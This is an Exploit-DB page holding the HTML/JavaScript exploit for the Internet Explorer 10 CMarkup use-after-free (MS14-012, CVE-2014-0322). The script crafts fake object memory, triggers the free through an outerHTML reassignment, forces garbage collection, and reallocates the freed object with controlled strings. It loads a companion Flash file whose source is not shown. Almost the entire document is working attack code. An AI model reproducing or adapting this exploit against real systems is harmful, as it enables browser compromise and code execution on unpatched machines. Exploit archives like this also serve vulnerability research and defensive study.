Internet Explorer - CMarkup Use-After-Free (MS14-012)



EDB-ID: 32851 CVE: 2014-0322 OSVDB-ID: 103354
Author: Jean-Jamil Khalife Published: 2014-04-14 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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<!--
 MS14-012 Internet Explorer CMarkup Use-After-Free
 Vendor Homepage: http://www.microsoft.com
 Version: IE 10
 Date: 2014-03-31 
 Exploit Author: Jean-Jamil Khalife
 Tested on: Windows 7 SP1 x64 (fr, en)
 Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
 Home: http://www.hdwsec.fr
 Blog : http://www.hdwsec.fr/blog/
 MS14-012 / CVE-2014-0322

 Generation:
 	c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf

 Exploit-DB mirror:  http://www.exploit-db.com/sploits/32851-AsXploit.as

-->

<html>
<head>
</head>
<body>

<script>

var g_arr = [];
var arrLen = 0x250;

function dword2data(dword)
{
	var d = Number(dword).toString(16);
	while (d.length < 8)
		d = '0' + d;

	return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}

function eXpl()
{
    var a=0;

    for (a=0; a < arrLen; a++) {
        g_arr[a] = document.createElement('div');
    }
	
	// Build a new object
	var b = dword2data(0x19fffff3);
    while (b.length < 0x360)
	{
		// mov     eax,dword ptr [esi+98h]
		// ...
		// mov     eax,dword ptr [eax+8]
		// and     dword ptr [eax+2F0h],0FFFFFFBFh
		if (b.length == (0x98 / 2))
		{
			b += dword2data(0x1a000010);
		}
		// mov     ecx,dword ptr [edx+94h]
		// mov     eax,dword ptr [ecx+0Ch]
		else if (b.length == (0x94 / 2))
		{
			b += dword2data(0x1a111111);
		}
		// mov     eax,dword ptr [edx+15Ch]
		// mov     ecx,dword ptr [eax+edx*8]
		else if (b.length == (0x15c / 2))
		{
			b += dword2data(0x42424242);
		}
		else
		{
			b += dword2data(0x19fffff3);
		}
	}
    
	var d = b.substring(0, ( 0x340 - 2 )/2);
    
	// trigger
	try{
        this.outerHTML=this.outerHTML
    } 
	catch(e){
		
	}
	
    CollectGarbage();

	// Replace freed object
    for (a=0; a < arrLen; a++)
    {
        g_arr[a].title = d.substring(0, d.length);
    }
}

// Trigger the vulnerability
function trigger()
{
    var a = document.getElementsByTagName("script");
    var b = a[0];
    b.onpropertychange = eXpl;
    var c = document.createElement('SELECT');
    c = b.appendChild(c);
}



</script>
<embed src=AsXploit.swf width="10" height="10"></embed>
</body>
</html>